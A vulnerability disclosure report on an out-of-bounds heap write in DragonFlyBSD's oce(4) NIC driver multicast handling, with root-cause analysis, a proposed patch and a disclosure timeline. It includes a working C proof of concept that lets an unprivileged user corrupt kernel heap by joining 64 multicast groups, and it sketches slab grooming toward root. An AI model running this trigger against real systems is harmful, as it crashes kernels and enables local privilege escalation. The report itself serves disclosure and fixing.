Summary

oce_hw_update_multicast() allocates exactly sizeof(struct mbx_set_common_iface_multicast) bytes of DMA memory, then iterates the interface's multicast list writing one 6-byte MAC per entry into req->params.req.mac[num_mac]. The loop is supposed to stop when the table is full, but the bound compared against is OCE_MAX_MC_FILTER_SIZE (64) while the mac[] array embedded in the request structure is declared with only 32 slots. As a result, the loop performs up to 32 out-of-bounds bcopy() writes totaling 192 bytes past the end of the DMA allocation, corrupting adjacent kernel heap.

Root cause

oce_hw.c:564-580:

TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) {
    if (ifma->ifma_addr->sa_family != AF_LINK)
        continue;

    if (req->params.req.num_mac == OCE_MAX_MC_FILTER_SIZE) {   /* line 568: 64, WRONG */
        req->params.req.promiscuous = 1;
        break;
    }
    bcopy(LLADDR((struct sockaddr_dl *)ifma->ifma_addr),
          &req->params.req.mac[req->params.req.num_mac],       /* line 577: OOB when num_mac>=32 */
          ETH_ADDR_LEN);
    req->params.req.num_mac = req->params.req.num_mac + 1;     /* line 579 */
}

OCE_MAX_MC_FILTER_SIZE is 64 (oce_hw.h:180), but the destination array is struct { uint8_t byte[6]; } mac[32] (oce_hw.h:1119) inside struct mbx_set_common_iface_multicast. The allocation at oce_hw.c:557 allocates exactly sizeof(struct mbx_set_common_iface_multicast) bytes (212 bytes total). For num_mac == 32, &req->params.req.mac[32] evaluates to byte offset 196 inside params, i.e. offset 212 from the buffer base — exactly one byte past the end.

Threat model & preconditions

• Attacker position: any unprivileged local user on a host with an oce(4) (Emulex OneConnect / BE3 / Lancer / Skyhawk) NIC bound to an interface.
• Privileges gained or impact: reliable kernel heap corruption — at minimum a kernel panic, and with standard slab grooming (defragment the 256-byte slab, place a victim object with a function pointer or refcount immediately after the DMA allocation) a full local privilege escalation to uid 0.
• Required config or capabilities: device oce; Emulex OneConnect NIC present. No special privileges needed — IP_ADD_MEMBERSHIP setsockopt requires no privilege.
• Reachability: setsockopt(IPPROTO_IP, IP_ADD_MEMBERSHIP) → in_addmulti() (netinet/in.c:1374) → if_addmulti() → ifp->if_ioctl(SIOCADDMULTI) (net/if.c:2739) → oce_ioctl SIOCADDMULTI case (oce_if.c:410-412) → oce_hw_update_multicast. Joining 33 distinct multicast groups whose low 23 bits differ yields ≥33 AF_LINK entries, and the very next SIOCADDMULTI call writes past the buffer. Joining 64 groups produces the full 192-byte overflow. MAC address contents are partly attacker-influenced (low 23 bits for IPv4, low 32 bits for IPv6).

Proof of concept

/* oce multicast OOB heap write trigger.
 * Joins 64 multicast groups on the oce interface to overflow
 * req->params.req.mac[32] by 32*6 = 192 bytes past the DMA alloc. */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(void) {
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    for (int i = 1; i <= 64; i++) {
        struct ip_mreq mreq;
        char ip[32];
        snprintf(ip, sizeof(ip), "239.0.%d.%d", (i >> 8) & 0xff, i & 0xff);
        inet_pton(AF_INET, ip, &mreq.imr_multiaddr);
        mreq.imr_interface.s_addr = htonl(INADDR_ANY);
        if (setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
            fprintf(stderr, "join %s: %s\n", ip, strerror(errno));
    }
    pause();
    return 0;
}

Build & run

cc -o poc poc.c
./poc    # as any unprivileged user on a host with oce0

Expected output

panic: vm_fault / bad free list / slab corruption
backtrace through oce_hw_update_multicast -> bcopy

On the 33rd join the first 6 bytes overflow; on the 64th the full 192-byte overflow has been written. With heap grooming, the corrupted adjacent object yields controlled kernel RIP → uid=0 credential overwrite.

Impact

High: unauthenticated local-to-root heap overflow on default-config systems with an Emulex OneConnect NIC. Reachable from any unprivileged user via standard multicast join. The MAC addresses written are partly attacker-controlled (low 23 bits IPv4 / low 32 bits IPv6), providing sufficient control for slab grooming.

Recommended fix

The bound compared against must match the actual array size of req->params.req.mac, which is 32 — not the firmware/hardware table capacity constant 64.

--- a/sys/dev/netif/oce/oce_hw.c
+++ b/sys/dev/netif/oce/oce_hw.c
@@ -565,7 +565,7 @@ oce_hw_update_multicast(POCE_SOFTC sc)
        if (ifma->ifma_addr->sa_family != AF_LINK)
            continue;

-       if (req->params.req.num_mac == OCE_MAX_MC_FILTER_SIZE) {
+       if (req->params.req.num_mac >= nitems(req->params.req.mac)) {
            /*More multicast addresses than our hardware table
              So Enable multicast promiscus in our hardware to
              accept all multicat packets

Defensive alternative: bump mac[32] to mac[64] at oce_hw.h:1119 and grow the dw[49] union discriminator to dw[97] so the structure is consistent with the constant.

References

• OCE_MAX_MC_FILTER_SIZE: oce_hw.h:180 (= 64).
• mac[32] array: oce_hw.h:1119.
• Multicast join path: netinet/in.c:1374 → net/if.c:2739 → oce_if.c:410.

Timeline

• 2026-07-20 Discovered during automated audit.
• 2026-07-20 Reported to DragonFlyBSD security contact (pending).